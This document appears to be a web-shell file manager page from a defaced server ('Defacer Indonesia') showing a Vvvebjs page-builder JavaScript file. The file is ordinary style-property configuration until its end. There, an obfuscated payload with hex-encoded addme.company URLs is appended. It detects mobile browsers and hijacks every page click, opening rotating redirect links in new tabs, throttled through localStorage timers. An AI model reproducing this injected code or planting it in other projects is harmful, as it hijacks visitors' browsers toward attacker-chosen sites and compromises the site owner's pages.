whoami7 - Manager
:
/
home
/
kckglobal
/
cloud.kckglobal.net
/
modules
/
saas
/
public
/
assets
/
libs
/
builder
/
Upload File:
files >> /home/kckglobal/cloud.kckglobal.net/modules/saas/public/assets/libs/builder/components-common.js
/* Copyright 2017 Ziadin Givan Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. https://github.com/givanz/Vvvebjs */ bgcolorClasses = ["bg-primary", "bg-secondary", "bg-success", "bg-danger", "bg-warning", "bg-info", "bg-body-secondary", "bg-dark", "bg-white"] bgcolorSelectOptions = [{ value: "Default", text: "" }, { value: "bg-primary", text: "Primary" }, { value: "bg-secondary", text: "Secondary" }, { value: "bg-success", text: "Success" }, { value: "bg-danger", text: "Danger" }, { value: "bg-warning", text: "Warning" }, { value: "bg-info", text: "Info" }, { value: "bg-body-secondary", text: "Light" }, { value: "bg-dark", text: "Dark" }, { value: "bg-white", text: "White" }]; function changeNodeName(node, newNodeName) { var newNode; newNode = document.createElement(newNodeName); attributes = node.get(0).attributes; for (i = 0, len = attributes.length; i < len; i++) { newNode.setAttribute(attributes[i].nodeName, attributes[i].nodeValue); } $(newNode).append($(node).contents()); $(node).replaceWith(newNode); return newNode; } var base_sort = 100;//start sorting for base component from 100 to allow extended properties to be first var style_section = 'style'; var advanced_section = 'advanced'; Vvveb.Components.add("_base", { name: "Element", properties: [{ key: "element_header", inputtype: SectionInput, name:false, sort:base_sort++, data: {header:"General"}, }, { name: "Id", key: "id", htmlAttr: "id", sort: base_sort++, inline:false, col:6, inputtype: TextInput }, { name: "Class", key: "class", htmlAttr: "class", sort: base_sort++, inline:false, col:6, inputtype: TextInput } ] }); //display Vvveb.Components.extend("_base", "_base", { properties: [ { key: "display_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Display"}, }, { //linked styles notice message name:"", key: "linked_styles_check", sort: base_sort++, section: style_section, inline:false, col:12, inputtype: NoticeInput, data: { type:'warning', title:'Linked styles', text:'This element shares styles with other <a class="linked-elements-hover" href="#"><b class="elements-count">4</b> elements</a>, to apply styles <b>only for this element</b> enter a <b>unique id</b> eg: <i>marketing-heading</i> in in <br/><a class="id-input" href="#content-tab" role="tab" aria-controls="components" aria-selected="false" href="#content-tab">Content > General > Id</a>.<br/><span class="text-muted small"></span>', }, afterInit:function(node, inputElement) { var selector = Vvveb.StyleManager.getSelectorForElement(node); var elements = $(selector, window.FrameDocument); if (elements.length <= 1) { inputElement.hide(); } else { $(".elements-count", inputElement).html(elements.length); $(".text-muted", inputElement).html(selector); $(".id-input", inputElement).click(function (){ $(".content-tab a").each(function() { this.click(); }); setTimeout(function () { $("[name=id]").trigger("focus") }, 700);; }); $(".linked-elements-hover", inputElement). on("mouseenter", function (){ elements.css("outline","2px dotted blue"); }). on("mouseleave", function (){ elements.css("outline",""); }); } }, }, { name: "Display", key: "display", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: SelectInput, validValues: ["block", "inline", "inline-block", "none"], data: { options: [{ value: "block", text: "Block" }, { value: "inline", text: "Inline" }, { value: "inline-block", text: "Inline Block" }, { value: "inline-block", text: "Inline Block" }, { value: "flex", text: "Flex" }, { value: "inline-flex", text: "Inline Flex" }, { value: "grid", text: "Grid" }, { value: "inline-grid", text: "Inline grid" }, { value: "table", text: "Table" }, { value: "table-row", text: "Table Row" }, { value: "list-item", text: "List Item" }, { value: "inherit", text: "Inherit" }, { value: "initial", text: "Initial" }, { value: "none", text: "none" }] } }, { name: "Position", key: "position", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: SelectInput, validValues: ["static", "fixed", "relative", "absolute"], data: { options: [{ value: "static", text: "Static" }, { value: "fixed", text: "Fixed" }, { value: "relative", text: "Relative" }, { value: "absolute", text: "Absolute" }] } }, { name: "Top", key: "top", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, parent:"", inputtype: CssUnitInput }, { name: "Left", key: "left", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, parent:"", inputtype: CssUnitInput }, { name: "Bottom", key: "bottom", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, parent:"", inputtype: CssUnitInput }, { name: "Right", key: "right", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, parent:"", inputtype: CssUnitInput },{ name: "Float", key: "float", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, inputtype: RadioButtonInput, data: { extraclass:"btn-group-sm btn-group-fullwidth", options: [{ value: "none", icon:"la la-times", //text: "None", title: "None", checked:true, }, { value: "left", //text: "Left", title: "Left", icon:"la la-align-left", checked:false, }, { value: "right", //text: "Right", title: "Right", icon:"la la-align-right", checked:false, }], } }, { name: "Opacity", key: "opacity", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, parent:"", inputtype: RangeInput, data:{ max: 1, //max zoom level min:0, step:0.1 }, }, { name: "Background Color", key: "background-color", sort: base_sort++, section: style_section, col:6, inline:true, htmlAttr: "style", inputtype: ColorInput, }, { name: "Text Color", key: "color", sort: base_sort++, section: style_section, col:6, inline:true, htmlAttr: "style", inputtype: ColorInput, }] }); //Typography var ComponentBaseTypography = { properties: [ { key: "typography_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Typography"}, }, { name: "Font size", key: "font-size", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Font weight", key: "font-weight", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "100", text: "Thin" }, { value: "200", text: "Extra-Light" }, { value: "300", text: "Light" }, { value: "400", text: "Normal" }, { value: "500", text: "Medium" }, { value: "600", text: "Semi-Bold" }, { value: "700", text: "Bold" }, { value: "800", text: "Extra-Bold" }, { value: "900", text: "Ultra-Bold" }], } }, { name: "Font family", key: "font-family", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, inputtype: SelectInput, data: { options: fontList } }, { name: "Text align", key: "text-align", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, inputtype: RadioButtonInput, data: { extraclass:"btn-group-sm btn-group-fullwidth", options: [{ value: "", icon:"la la-times", //text: "None", title: "None", checked:true, }, { value: "left", //text: "Left", title: "Left", icon:"la la-align-left", checked:false, }, { value: "center", //text: "Center", title: "Center", icon:"la la-align-center", checked:false, }, { value: "right", //text: "Right", title: "Right", icon:"la la-align-right", checked:false, }, { value: "justify", //text: "justify", title: "Justify", icon:"la la-align-justify", checked:false, }], }, }, { name: "Line height", key: "line-height", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Letter spacing", key: "letter-spacing", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Text decoration", key: "text-decoration-line", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, inputtype: RadioButtonInput, data: { extraclass:"btn-group-sm btn-group-fullwidth", options: [{ value: "none", icon:"la la-times", //text: "None", title: "None", checked:true, }, { value: "underline", //text: "Left", title: "underline", icon:"la la-long-arrow-alt-down", checked:false, }, { value: "overline", //text: "Right", title: "overline", icon:"la la-long-arrow-alt-up", checked:false, }, { value: "line-through", //text: "Right", title: "Line Through", icon:"la la-strikethrough", checked:false, }, { value: "underline overline", //text: "justify", title: "Underline Overline", icon:"la la-arrows-alt-v", checked:false, }], }, }, { name: "Decoration Color", key: "text-decoration-color", sort: base_sort++, section: style_section, col:6, inline:true, htmlAttr: "style", inputtype: ColorInput, }, { name: "Decoration style", key: "text-decoration-style", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:true, inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "solid", text: "Solid" }, { value: "wavy", text: "Wavy" }, { value: "dotted", text: "Dotted" }, { value: "dashed", text: "Dashed" }, { value: "double", text: "Double" }], } }] } Vvveb.Components.extend("_base", "_base", ComponentBaseTypography); //Size var ComponentBaseSize = { properties: [{ key: "size_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Size", expanded:false}, }, { name: "Width", key: "width", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Height", key: "height", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Min Width", key: "min-width", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Min Height", key: "min-height", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Max Width", key: "max-width", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Max Height", key: "max-height", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }] } Vvveb.Components.extend("_base", "_base", ComponentBaseSize); //Margin var ComponentBaseMargin = { properties: [{ key: "margins_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Margin", expanded:false}, }, { name: "Top", key: "margin-top", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Right", key: "margin-right", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Bottom", key: "margin-bottom", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Left", key: "margin-left", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }] } Vvveb.Components.extend("_base", "_base", ComponentBaseMargin); //Padding var ComponentBasePadding = { properties: [{ key: "paddings_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Padding", expanded:false}, }, { name: "Top", key: "padding-top", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Right", key: "padding-right", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Bottom", key: "padding-bottom", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Left", key: "padding-left", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }] } Vvveb.Components.extend("_base", "_base", ComponentBasePadding); //Border Vvveb.Components.extend("_base", "_base", { properties: [{ key: "border_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Border", expanded:false}, }, { name: "Style", key: "border-style", htmlAttr: "style", sort: base_sort++, section: style_section, col:12, inline:false, inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "solid", text: "Solid" }, { value: "dotted", text: "Dotted" }, { value: "dashed", text: "Dashed" }], } }, { name: "Width", key: "border-width", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Color", key: "border-color", sort: base_sort++, section: style_section, col:6, inline:false, htmlAttr: "style", inputtype: ColorInput, }] }); //Border radius Vvveb.Components.extend("_base", "_base", { properties: [{ key: "border_radius_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Border radius", expanded:false}, }, { name: "Top Left", key: "border-top-left-radius", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Top Right", key: "border-top-right-radius", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Bottom Left", key: "border-bottom-left-radius", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }, { name: "Bottom Right", key: "border-bottom-right-radius", htmlAttr: "style", sort: base_sort++, section: style_section, col:6, inline:false, inputtype: CssUnitInput }] }); //Background image Vvveb.Components.extend("_base", "_base", { properties: [{ key: "background_image_header", inputtype: SectionInput, name:false, sort: base_sort++, section: style_section, data: {header:"Background Image", expanded:false}, },{ name: "Image", key: "Image", sort: base_sort++, section: style_section, //htmlAttr: "style", inputtype: ImageInput, init: function(node) { var image = $(node).css("background-image").replace(/url\(['"]?([^"\)$]+?)['"]?\).*/, '$1'); return image; }, onChange: function(node, value) { $(node).css('background-image', 'url(' + value + ')'); return node; } }, { name: "Repeat", key: "background-repeat", sort: base_sort++, section: style_section, htmlAttr: "style", inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "repeat-x", text: "repeat-x" }, { value: "repeat-y", text: "repeat-y" }, { value: "no-repeat", text: "no-repeat" }], } }, { name: "Size", key: "background-size", sort: base_sort++, section: style_section, htmlAttr: "style", inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "contain", text: "contain" }, { value: "cover", text: "cover" }], } }, { name: "Position x", key: "background-position-x", sort: base_sort++, section: style_section, htmlAttr: "style", col:6, inline:true, inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "center", text: "center" }, { value: "right", text: "right" }, { value: "left", text: "left" }], } }, { name: "Position y", key: "background-position-y", sort: base_sort++, section: style_section, htmlAttr: "style", col:6, inline:true, inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "center", text: "center" }, { value: "top", text: "top" }, { value: "bottom", text: "bottom" }], } }] }); //Device visibility var ComponentDeviceVisibility = { properties: [{ key: "visibility_header", inputtype: SectionInput, name:false, sort: base_sort++, section: advanced_section, data: {header:"Hide based on device screen width"}, }, { name: "Extra small devices", key: "hidexs", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-xs-none"], inputtype: ToggleInput, data: { on: "d-xs-none", off: "" } }, { name: "Small devices", key: "hidesm", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-sm-none"], inputtype: ToggleInput, data: { on: "d-sm-none", off: "" } }, { name: "Medium devices", key: "hidemd", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-md-none"], inputtype: ToggleInput, data: { on: "d-md-none", off: "" } }, { name: "Large devices", key: "hidelg", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-lg-none"], inputtype: ToggleInput, data: { on: "d-lg-none", off: "" } }, { name: "Xl devices", key: "hidexl", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-xl-none"], inputtype: ToggleInput, data: { on: "d-xl-none", off: "" } }, { name: "Xxl devices", key: "hidexxl", col:6, inline:true, sort: base_sort++, section: advanced_section, htmlAttr: "class", validValues: ["d-xxl-none"], inputtype: ToggleInput, data: { on: "d-xxl-none", off: "" } }] }; Vvveb.Components.extend("_base", "_base", ComponentDeviceVisibility); Vvveb.Components.add("config/bootstrap", { name: "Bootstrap Variables", beforeInit: function (node) { properties = []; var i = 0; var j = 0; let cssVars = Vvveb.ColorPaletteManager.getAllCSSVariableNames(window.FrameDocument.styleSheets/*, ":root"*/); for (type in cssVars) { properties.push({ key: "cssVars" + type, inputtype: SectionInput, name:type, sort: base_sort++, data: {header:type[0].toUpperCase() + type.slice(1)}, }); for (selector in cssVars[type]) { let friendlyName = selector.replaceAll(/--bs-/g,"").replaceAll("-", " ").trim(); friendlyName = friendlyName[0].toUpperCase() + friendlyName.slice(1); let value = cssVars[type][selector]; let input; data = {selector, type:value.type, step:"any"}; if (value.type == "color") { input = ColorInput; } else if (value.type == "font") { input = SelectInput; data.options = fontList; } else if (value.type == "dimensions") { input = CssUnitInput; } i++; properties.push({ name: friendlyName, key: "cssvar" + i, defaultValue: value.value, //index: i - 1, columnNode: this, col:(value.type == "font" || value.type == "dimensions") ? 12 : 4, inline:true, section: advanced_section, inputtype: input, data: data, onChange: function(node, value, input) { if (this.data.type == "font") { let option = input.options[input.selectedIndex]; Vvveb.FontsManager.addFont(option.dataset.provider, value, node[0]); } Vvveb.StyleManager.setStyle(":root", this.data.selector, value); return node; }, }); } } this.properties = properties; return node; }, properties: [], }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia